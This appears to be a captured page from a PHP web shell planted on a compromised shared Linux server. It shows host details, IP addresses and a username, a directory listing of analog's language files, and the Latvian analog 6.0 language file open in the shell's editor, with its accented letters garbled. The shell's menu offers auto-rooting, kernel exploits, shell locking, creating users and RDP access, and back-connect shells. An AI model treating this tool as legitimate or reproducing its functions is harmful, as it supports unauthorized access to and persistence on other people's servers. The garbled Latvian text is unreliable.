Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
analog /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
1.03
KB
-rw-r--r--
am.lng
12.71
KB
-rw-r--r--
amdom.tab
5.04
KB
-rw-r--r--
ba.lng
13.64
KB
-rw-r--r--
baq.lng
13.81
KB
-rw-r--r--
bg.lng
13.08
KB
-rw-r--r--
bgdesc.txt
4.48
KB
-rw-r--r--
bgdom.tab
5.66
KB
-rw-r--r--
bgm.lng
13.07
KB
-rw-r--r--
bgmdesc.txt
4.48
KB
-rw-r--r--
bgmdom.tab
5.65
KB
-rw-r--r--
br.lng
13.84
KB
-rw-r--r--
bra.lng
13.84
KB
-rw-r--r--
bradesc.txt
5.2
KB
-rw-r--r--
bradom.tab
4.94
KB
-rw-r--r--
brdesc.txt
5.2
KB
-rw-r--r--
brdom.tab
4.94
KB
-rw-r--r--
cat.lng
13.86
KB
-rw-r--r--
cata.lng
13.86
KB
-rw-r--r--
catadom.tab
5.05
KB
-rw-r--r--
catdom.tab
5.05
KB
-rw-r--r--
cn.lng
10.23
KB
-rw-r--r--
cndesc.txt
3.08
KB
-rw-r--r--
cndom.tab
7.54
KB
-rw-r--r--
cz.lng
13.29
KB
-rw-r--r--
cz1.lng
13.29
KB
-rw-r--r--
cz1a.lng
13.29
KB
-rw-r--r--
cza.lng
13.29
KB
-rw-r--r--
de.lng
13.8
KB
-rw-r--r--
dea.lng
13.85
KB
-rw-r--r--
deadom.tab
4.65
KB
-rw-r--r--
dedom.tab
4.62
KB
-rw-r--r--
deform.html
7.55
KB
-rw-r--r--
dk.lng
12.9
KB
-rw-r--r--
dka.lng
12.99
KB
-rw-r--r--
es.lng
14.4
KB
-rw-r--r--
esa.lng
14.4
KB
-rw-r--r--
esadesc.txt
4.69
KB
-rw-r--r--
esadom.tab
4.83
KB
-rw-r--r--
esdesc.txt
4.69
KB
-rw-r--r--
esdom.tab
4.83
KB
-rw-r--r--
esform.html
9.6
KB
-rw-r--r--
fi.lng
13.25
KB
-rw-r--r--
fia.lng
13.24
KB
-rw-r--r--
fiadom.tab
5.03
KB
-rw-r--r--
fidom.tab
5.03
KB
-rw-r--r--
fr.lng
13.96
KB
-rw-r--r--
fra.lng
13.95
KB
-rw-r--r--
fradesc.txt
4.53
KB
-rw-r--r--
fradom.tab
4.9
KB
-rw-r--r--
frdesc.txt
4.53
KB
-rw-r--r--
frdom.tab
4.9
KB
-rw-r--r--
frform.html
8.99
KB
-rw-r--r--
gr.lng
14.42
KB
-rw-r--r--
gra.lng
14.59
KB
-rw-r--r--
hr.lng
13.29
KB
-rw-r--r--
hu.cfg
1.66
KB
-rw-r--r--
hu.lng
13.46
KB
-rw-r--r--
hudom.tab
4.94
KB
-rw-r--r--
id.lng
12.96
KB
-rw-r--r--
ida.lng
12.96
KB
-rw-r--r--
is.lng
12.85
KB
-rw-r--r--
isa.lng
12.86
KB
-rw-r--r--
it.lng
13.62
KB
-rw-r--r--
ita.lng
13.63
KB
-rw-r--r--
itadesc.txt
4.68
KB
-rw-r--r--
itadom.tab
4.53
KB
-rw-r--r--
itdesc.txt
4.67
KB
-rw-r--r--
itdom.tab
4.53
KB
-rw-r--r--
itform.html
8.38
KB
-rw-r--r--
jpe.cfg
1.76
KB
-rw-r--r--
jpe.lng
12.18
KB
-rw-r--r--
jpedesc.txt
4.02
KB
-rw-r--r--
jpedom.tab
5.34
KB
-rw-r--r--
jpeform.html
8.54
KB
-rw-r--r--
jpj.cfg
2.13
KB
-rw-r--r--
jpj.lng
14.99
KB
-rw-r--r--
jpjdesc.txt
4.34
KB
-rw-r--r--
jpjdom.tab
6.95
KB
-rw-r--r--
jpjform.html
9.41
KB
-rw-r--r--
jps.cfg
1.76
KB
-rw-r--r--
jps.lng
12.18
KB
-rw-r--r--
jpsdesc.txt
4.02
KB
-rw-r--r--
jpsdom.tab
5.34
KB
-rw-r--r--
jpsform.html
8.54
KB
-rw-r--r--
jpu.cfg
1.97
KB
-rw-r--r--
jpu.lng
14.57
KB
-rw-r--r--
jpudesc.txt
5.44
KB
-rw-r--r--
jpudom.tab
6.82
KB
-rw-r--r--
jpuform.html
9.91
KB
-rw-r--r--
kr.lng
12.1
KB
-rw-r--r--
lt.lng
13.79
KB
-rw-r--r--
lv.lng
13.97
KB
-rw-r--r--
nl.lng
13.76
KB
-rw-r--r--
nla.lng
13.75
KB
-rw-r--r--
nladesc.txt
4.61
KB
-rw-r--r--
nladom.tab
5.14
KB
-rw-r--r--
nldesc.txt
4.61
KB
-rw-r--r--
nldom.tab
5.14
KB
-rw-r--r--
no.lng
12.96
KB
-rw-r--r--
no2.lng
12.76
KB
-rw-r--r--
no2a.lng
12.76
KB
-rw-r--r--
noa.lng
12.96
KB
-rw-r--r--
pl.lng
13.1
KB
-rw-r--r--
pla.lng
13.09
KB
-rw-r--r--
pladom.tab
4.89
KB
-rw-r--r--
pldom.tab
4.89
KB
-rw-r--r--
pt.lng
13.66
KB
-rw-r--r--
pta.lng
13.66
KB
-rw-r--r--
ptadesc.txt
4.61
KB
-rw-r--r--
ptadom.tab
4.96
KB
-rw-r--r--
ptdesc.txt
4.61
KB
-rw-r--r--
ptdom.tab
4.96
KB
-rw-r--r--
ro.lng
12.95
KB
-rw-r--r--
rodom.tab
4.75
KB
-rw-r--r--
ru.lng
13.52
KB
-rw-r--r--
ru1.lng
13.58
KB
-rw-r--r--
ru1desc.txt
4.34
KB
-rw-r--r--
ru1dom.tab
5.53
KB
-rw-r--r--
rudesc.txt
4.28
KB
-rw-r--r--
rudom.tab
5.47
KB
-rw-r--r--
ruform.html
8.48
KB
-rw-r--r--
se.lng
12.64
KB
-rw-r--r--
se2.lng
13.21
KB
-rw-r--r--
se2a.lng
13.45
KB
-rw-r--r--
se2adesc.txt
4.45
KB
-rw-r--r--
se2adom.tab
5.02
KB
-rw-r--r--
se2desc.txt
4.36
KB
-rw-r--r--
se2dom.tab
4.98
KB
-rw-r--r--
sea.lng
12.71
KB
-rw-r--r--
seadom.tab
5.02
KB
-rw-r--r--
sedom.tab
4.98
KB
-rw-r--r--
si.lng
13.4
KB
-rw-r--r--
si1.lng
13.41
KB
-rw-r--r--
sk.lng
13.14
KB
-rw-r--r--
sk1.lng
13.14
KB
-rw-r--r--
sk1a.lng
13.15
KB
-rw-r--r--
sk1adesc.txt
4.58
KB
-rw-r--r--
sk1adom.tab
5.02
KB
-rw-r--r--
sk1desc.txt
4.58
KB
-rw-r--r--
sk1dom.tab
5.03
KB
-rw-r--r--
ska.lng
13.15
KB
-rw-r--r--
skadesc.txt
4.58
KB
-rw-r--r--
skadom.tab
5.02
KB
-rw-r--r--
skdesc.txt
4.58
KB
-rw-r--r--
skdom.tab
5.03
KB
-rw-r--r--
tr.lng
12.85
KB
-rw-r--r--
tw.lng
10.8
KB
-rw-r--r--
twdesc.txt
3.08
KB
-rw-r--r--
twdom.tab
7.29
KB
-rw-r--r--
ua.lng
12.76
KB
-rw-r--r--
uadesc.txt
4.34
KB
-rw-r--r--
uk.lng
12.72
KB
-rw-r--r--
uk12.lng
12.67
KB
-rw-r--r--
uka.lng
12.72
KB
-rw-r--r--
ukdesc.txt
4.21
KB
-rw-r--r--
ukdom.tab
5.14
KB
-rw-r--r--
us.lng
12.69
KB
-rw-r--r--
us24.lng
12.64
KB
-rw-r--r--
usa.lng
12.69
KB
-rw-r--r--
usdesc.txt
4.21
KB
-rw-r--r--
usdom.tab
5.14
KB
-rw-r--r--
usform.html
8.03
KB
-rw-r--r--
yu.lng
13.39
KB
-rw-r--r--
yua.lng
13.39
KB
-rw-r--r--
yudom.tab
4.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lv.lng
## Latvian language file for analog 6.0 ## May not (or may) work with any other version. ## ## This is a language file for analog. Lines beginning with ## are comments. ## Each language should have one language file in its own character set, ## and can have an additional one for ASCII (7 bit) output. ## ## Made by Anda Bimbere ## anda@firstcut.net http://www.firstcut.net Web design & hosting ## Any comments welcome ## ## The character set of this language file. Prefix with a * to indicate a ## multibyte character set: e.g. *ISO-2022-JP Windows-1257 ## Abbreviations for the day and month names. Sv�td. Pirmd. Otrd. Tre�d. Ceturtd. Piektd. Sestd. Jan Feb Mar Apr Maij J�n J�l Aug Sep Okt Nov Dec ## Next some standard common words. ## Abbreviation for "week beginning" ned��as s�k. gads ## Quarter of a year ceturksnis m�nesis diena dienas st. min�te min�tes sekunde sekundes baits baiti ## ?bytes represents kbytes, Mbytes etc. ?baiti piepras�jums piepras�jumi datums ## This has the right spacing for a column like 23/Mar/98 15:00-15:05 datums laiks laiks pirmais datums pirmais laiks p�d�jais datums p�d�jais laiks fails faili dators datori virtu�la ma��na virtu�las ma��nas direktorija direktorijas dom�ns dom�ni organiz�cija organiz�cijas papla�in�jums papla�in�jumi URL URLi Internet p�rl�kprogramma Internet p�rl�kprogrammas OS OSas ## (= operating system, operating systems) izm�rs mekl��anas v�rds mekl��anas v�rdi saits saiti lietot�js lietot�ji status kods status kodi Web Servera Statistika ## Prefixes kilo, mega etc. to make kilobytes, megabytes etc. kilo mega giga tera peta exa zeta yotta ## Shorter versions of the same prefixes for column headings k M G T P E Z Y ## Names for the rows in the File Size Report. Note that changing these will ## NOT change the boundaries! These are just labels for predetermined buckets. ## They should line up nicely when right-aligned. 0 1B- 10B 11B- 100B 101B- 1kB 1kB- 10kB 10kB-100kB 100kB- 1MB 1MB- 10MB 10MB-100MB 100MB- 1GB > 1GB ## Now the names of reports �ss Kopsavilkums ## The time reports, plus "busiest" strings (at the bottom of each report) Gada P�rskats Visnoslogot�kais gads: Ceturk��a P�rskats Visnoslogot�kais ceturksnis: M�ne�a P�rskats Visnoslogot�kais m�nesis: Ned��as P�rskats Visnoslogot�k� ned��a: ned��as s�kums Dienas kopsavilkums Dienas P�rskats Visnoslogot�k� diena: Stundas P�rskats Stundas Kopsavilkums Ned��as Stundu Kopsavilkums Visnoslogot�k� stunda: Ceturtda�stundas P�rskats Ceturtda�stundas Kopsavilkums Visnoslogot�k� stundas ceturtda�a: Piecu Min��u P�rskats Piecu Min��u Kopsavilkums Visnoslogot�k�s piecas min�tes: ## The non-time reports. In each case, we have the name of the report, ## followed by the type of item in the report, once in the singular and once ## in the plural. These are used in phrases like "including all ??? with at ## least 200 requests". (The words higher up are used for column headings.) ## Finally we have the gender of this type of object, which can be m, f or n. ## ## So for example, in German a directory is Verzeichnis (neuter gender), which ## was given above. But "listing the top directory" is "Ausgabe des ersten ## Verzeichnisses" and "listing the top two directories" is "Ausgabe der ## ersten zwei Verzeichnisse". So here, we would have for the directory report: ## ## Verzeichnis-Bericht ## Verzeichnisses ## Verzeichnisse ## n ## ## I hope that makes sense! Datoru Statistika dators datori m Servera P�radres�cijas P�rskats serveris serveri m Servera Neveiksmju P�rskats serveris serveri m Direktoriju P�rskats direktorija direktorijas f Failu Tipu P�rskats faila papla�in�jums failu papla�in�jumi m Piepras�jumu P�rskats fails faili m P�radres�cijas P�rskats fails faili m K�du P�rskats fails faili m P�rs�t�t�ju P�rskats p�rs�t�t�ja URL p�rs�t�t�ju URLi m P�rs�t�t�ja Lapas P�rskats p�rs�t�t�ja lapa p�rs�t�t�ju lapas f P�radres�to P�rs�t�t�ju P�rskats p�rs�t�t�ja URL p�rs�t�t�ju URLi m Neveiksm�gu P�rs�t�t�ju P�rskats p�rs�t�t�ja URL p�rs�t�t�ju URLi m Mekl��anas Piepras�jumu P�rskats piepras�jums piepras�jumi m Mekl��anas V�rdu P�rskats mekl��anas v�rds mekl��anas v�rdi m Iek��j�s Mekl��anas Piepras�juma P�rskats piepras�jums piepras�jumi m Iek��j�s Mekl��anas V�rda P�rskats piepras�juma v�rds piepras�jumu v�rdi m Virtu�lo Ma��nu P�rskats virtu�la ma��na virtu�las ma��nas f Virtu�l� Servera P�radres�ciju P�rskats virtu�lais serveris virtu�lie serveri m Virtu�l� Servera Neveiksmju P�rskats virtu�lais serveris virtu�lie serveri m Lietot�ju P�rskats lietot�js lietot�ji m Lietot�ju P�radres�cijas P�rskats lietot�js lietot�ji m Lietot�ju Neveiksmju P�rskats lietot�js lietot�ji m Internet P�rl�kprogrammu Kopsavilkums Internet p�rl�kprogramma Internet p�rl�kprogrammas f Internet P�rl�kprogrammu P�rskats Internet p�rl�kprogramma Internet p�rl�kprogrammas f Oper�t�jsist�mu P�rskats oper�t�jsist�ma oper�t�jsist�mas f Dom�nu P�rskats dom�ns dom�ni m Organiz�ciju P�rskats organiz�cija organiz�cijas f Status Kodu P�rskats status kods status kodi m P�rstr�d��anas Laika P�rskats Failu Izm�ru Statistika ## Used at the bottom of the report �� anal�ze tika izveidota ar Analiz��anas laiks Maz�ks k� 1 ## Used in the time reports Katra vien�ba par�da vai da�u no tiem lapas piepras�jums lapas piepras�jumi ## Used at the bottom of each non-time report: need m, f & n genders nav par�d�ti nav par�d�tas nav par�d�ti ## Used on the pie charts: again need m, f & n genders Cits Cita Cits ## Used at the top of the report Programma bija s�kta: Analiz�ti piepras�jumi no l�dz ## Used in the General Summary Veiksm�gu piepras�jumu skaits Veiksm�gu piepras�jumu vid�jais skaits dien� Lapu veiksm�go piepras�jumu skaits Lapu veiksm�go piepras�jumu vid�jais skaits dien� Logfaila rindas bez statusa koda bija Neveiksm�gu piepras�jumu skaits P�radres�to piepras�jumu skaits Piepras�jumu ar inform�cijas statusa kodu bija Piepras�tie individu�lie faili Apkalpotie individu�lie serveri Saboj�to logfailu rindas Nelietot�s logfaila rindas P�rs�t�tie dati Dien� vid�ji p�rs�t�tie dati Numuri iekav�s attiecas uz 7 dienu periods beidzoties p�d�j�s 7 dienas Skat�t S�kums ## Some special phrases for particular reports. [neatrisin�tas numurisk�s adreses] [domeins nav uzr�d�ts] [nezin�ms domeins] [saknes direktorija] [nav direktorijas] [nav papla�in�jums] [direktorijas] Nezin�ms Windows Cits Unix Roboti OS nezin�ma ## Column headings for requests, pages, bytes and number (ie position in list) ## and percentages and last-7-day versions of these. ## Should be as short as possible -- abbreviate if necessary. ## (The ?bytes represents kbytes, Mbytes etc.) #piepr 7 dienu piepr. %piepr %7 dienu piepr. lapas 7 dienu lapas %lapas %7 dienu lapas baiti ?baiti 7 dienu baiti 7 dienu ?baiti %baiti %7 dienu baiti No. ## Now we need to know how to say "listing the top <whatever>", "listing ## the top <n> <whatevers>", and "listing <whatevers>". The %s and %d ## will be replaced by the appropriate things. There may be three of each of ## these statements, for the genders m, f and n. Any genders that aren't used, ## you can just put a * there instead. So, for example, French starts ## Affichage du premier %s ## Affichage de la première %s ## * ## with entries for m & f, but not n Uzr�d�ti topa %s Uzr�d�tas topa %s Uzr�d�ti topa %s Uzr�d�ti topa %d %s Uzr�d�tas topa %d %s Uzr�d�ti topa %d %s Uzr�d�ti %s Uzr�d�tas %s Uzr�d�ti %s ## "by" in the phrase "listing the top 3 files BY number of requests" p�c ## All requests WITH AT LEAST 10 requests kam ir ne maz�k par ## Different ways of doing floors piepras�jums p�d�jo 7 dienu laik� piepras�jumi p�d�jo 7 dienu laik� lapas piepras�jums p�d�jo 7 dienu laik� lapu piepras�jumi p�d�jo 7 dienu laik� p�radres�ts piepras�jums p�radres�ti piepras�jumi p�radres�ts piepras�jums p�d�jo 7 dienu laik� p�radres�ti piepras�jumi p�d�jo 7 dienu laik� neizdevies piepras�jums neizdevu�ies piepras�jumi neizdevies piepras�jums p�d�jo 7 dienu laik� neizdevu�ies piepras�jumi p�d�jo 7 dienu laik� % no satiksmes % no satiksmes p�d�jo 7 dienu laik� % no kop�j�s satiksmes % no visliel�k�s satiksmes daudzuma p�d�jo 7 dienu laik� baits no satiksmes baiti no satiksmes ## ?bytes represents kbytes, Mbytes etc. ?baiti no satiksmes baits no satiksmes p�d�jo 7 dienu laik� baiti no satiksmes p�d�jo 7 dienu laik� ?baiti no satiksmes p�d�jo 7 dienu laik� piepras�ti kop� ar p�radres�tiem piepras�jumiem kop� ar neveiksm�giem piepras�jumiem ar pirmo piepras�jumu kop� ar pirmo p�radres�to piepras�jumu kop� ar pirmo neveiksm�go piepras�jumu kop� ## Now "sorted by": again, in m, f & n (only needed in plural though) sak�rtoti p�c sak�rtotas p�c sak�rtoti p�c ## Used at the top of each report �aj� p�rskat� ir dati no ## Used in pie charts ���les ir izveidotas no ## different ways of sorting satiksmes daudzuma satiksmes daudzuma p�d�jo 7 dienu laik� % no piepras�jumiem % no piepras�jumiem p�d�jo 7 dienu laik� % no vislielak� piepras�jumu skaita % no vislielak� piepras�jumu skaita p�d�jo 7 dienu laik� piepras�jumu skaita piepras�jumu skaits p�d�jo 7 dienu laik� % no lapu piepras�juma % no lapu piepras�juma p�d�jo 7 dienu laik� % no lapu kop�j� piepras�juma % no visliel�k� lapu piepras�jumu skaita p�d�jo 7 dienu laik� lapu piepras�jumu skaita lapu piepras�jumu skaits p�d�jo 7 dienu laik� % no p�radres�tiem piepras�jumiem % no p�radres�tiem piepras�jumiem p�d�jo 7 dienu laik� % no p�radres�to piepras�jumu visliel�k� skaita % no p�radres�to piepras�jumu visliel�k� skaita p�d�jo 7 dienu laik� p�radres�to piepras�jumu skaita p�radres�to piepras�jumu skaits p�d�jo 7 dienu laik� % no neveiksm�giem piepras�jumiem % no neveiksm�giem piepras�jumiem p�d�jo 7 dienu laik� % no visiem neveiksm�giem piepras�jumiem % no neveiksm�gu piepras�jumu visliel�k� skaita p�d�jo 7 dienu laik� no neveiksm�gu piepras�jumu skaita neveiksm�go piepras�jumu skaits p�d�jo 7 dienu laik� p�d�jais piepras�jums bija p�d�jais p�radres�tais piepras�jums bija p�d�jais neveiksm�gais piepras�jums bija pirm� piepras�juma laiks pirm� p�radres�t� piepras�juma laiks pirm� neveiksm�g� piepras�juma laiks ## 3 other ways of sorting in m, f, & n sak�rtoti p�c alfab�ta k�rt�bas sak�rtotas p�c alfab�ta k�rt�bas sak�rtoti p�c alfab�ta k�rt�bas sak�rtoti p�c sec�bas sak�rtotas p�c sec�bas sak�rtoti p�c sec�bas nesak�rtoti nesak�rtotas nesak�rtoti ## The separators to use between thousands, and as a decimal point. For ## example, English generally uses "3,000.25" so has , and . here. French uses ## "3 000,25", so has space and , instead. , ## There's a colon here, because the French like to put a space before a colon, ## so they have space-colon instead here. : ## am and pm in the sense of morning and afternoon. am pm ## Some date formats. E.g. for 9am on 1st January 1997 use ## %d for date " 1" ## %D for 0-padded date "01" ## %e or %E for date at end of time interval (where this makes sense) ## %m for month "Jan" ## %l for month at end of time interval ## %q for quarter of the year "1" ## %y for short year "97" ## %Y for long year "1997" ## %z or %Z for year at end of time interval ## %X for ISO 8601 extended date format (yyyy-mm-dd) "1997-01-01" ## %h for hour in 24-hour clock " 9" ## %H for 0-padded hour "09" ## %j for hour in 12-hour clock " 9" ## %i, %I or %k for hour at end of time interval ## %n for minute "00" ## %o for minute at end of time interval ## %a for am or pm "am" ## %b for am or pm at end of time interval ## %w for weekday "Wed" ## %x for a dash in a range e.g. in 14:00-14:15. This is necessary because in ## proper typesetting, this should be an en-dash not a regular dash. ## ## So for a date, English might have %d/%m/%y for 1/Jan/97, whereas German ## would have %d.%m %y for 1.Jan 97). Note: the month number is not available ## because it can produce ambiguous dates. ## ## The different date formats are as follows ## "refer to the 7 days to [date]" %Y.g. %d. %m. %H:%n ## "Program started at" and "Analysed requests from" %w, %Y.g. %d. %m. %H:%n ## In Daily Report %d/%m/%y ## In Daily Summary %w ## In Hourly Report %d/%m/%y %H:%n%x%I:%o ## In Hourly Summary %h ## In Hour of the Week Summary %w %H:%n%x%I:%o ## In Quarter-Hour and Five-Minute Reports %d/%m/%y %H:%n%x%I:%o ## In Quarter-Hour and Five-Minute Summaries %H:%n%x%I:%o ## In Weekly Report %d/%m/%y ## In Monthly Report %m %Y ## In Quarterly Report %m.%x%l. %Y ## An alternative for Quarterly Report: %Y Q%q ## In Yearly Report %Y ## The date (d) column in non-time reports %d/%m/%y ## The date & time (D) column in non-time reports %d/%m/%y %H:%n ## In non-time reports: "including all files with requests since [date]" %d/%m/%y %H:%n ## Finally, definitions of the HTTP status codes (see ## ftp://ftp.isi.edu/in-notes/rfc2616.txt). You're welcome to leave these in ## English if you think they look better that way. 100 Turpin�t piepras�jumu 101 Tiek main�ts protokols 1xx [Da��da inform�cija] 200 OK 201 Izveidota 202 Pie�emts p�rstr�dei n�kotn� 203 neautoriz�ta inform�cija 204 OK, bet nav, ko s�t�t 205 Atjaunots dokuments 206 Da��js saturs 2xx [Da��di izdevu�ies piepras�jumi] 300 Pieejami vair�ki dokumenti 301 Dokuments past�v�gi p�rvietots 302 Dokuments atrodams citur 303 Apskatiet citu dokumentu 304 Nav main�ts kop� p�d�j�s reizes 305 Lietojiet proxy 306 Mainiet proxy 307 Dokuments pagaid�m p�rvietots 3xx [Da��das p�radres�cijas] 400 Slikts piepras�jums 401 Nepiecie�ama autentik�cija+ 402 Vajadz�gs maks�jums 403 Pieeja aizliegta 404 Dokuments nav atrasts 405 Metode nav at�auta 406 Dokuments nav pie�emams klientam 407 Nepiecie�ama proxy autentik�cija 408 Piepras�juma laiks beidzies 409 Piepras�jums ir pretrun� ar resursu st�vokli 410 Dokuments ir past�v�gi iz�emts no lieto�anas 411 Vajadz�gs garums 412 Iepriek�nosac�jums nav izdevies 413 Piepras�jums par garu 414 Piepras�tais faila nosaukums par garu 415 Neatbalst�ti mediju veidi 416 Piepras�t� amplit�da neder�ga 417 Piepras�jums nav izdevies 4xx [Da��das klientu/lietot�ju k�das] 500 Iek��j� servera k�da 501 Piepras�juma veids nav atbalst�ts 502 K�da vien� no t�l�kajiem serveriem 503 Pakalpojums pagaid�m nav pieejams 504 Gateway laiks beidzies 505 HTTP versija nav atbalst�ta 506 Neveiksm�ga p�radres�cija 5xx [Da��das servera k�das] xxx [Nezin�ms]
Close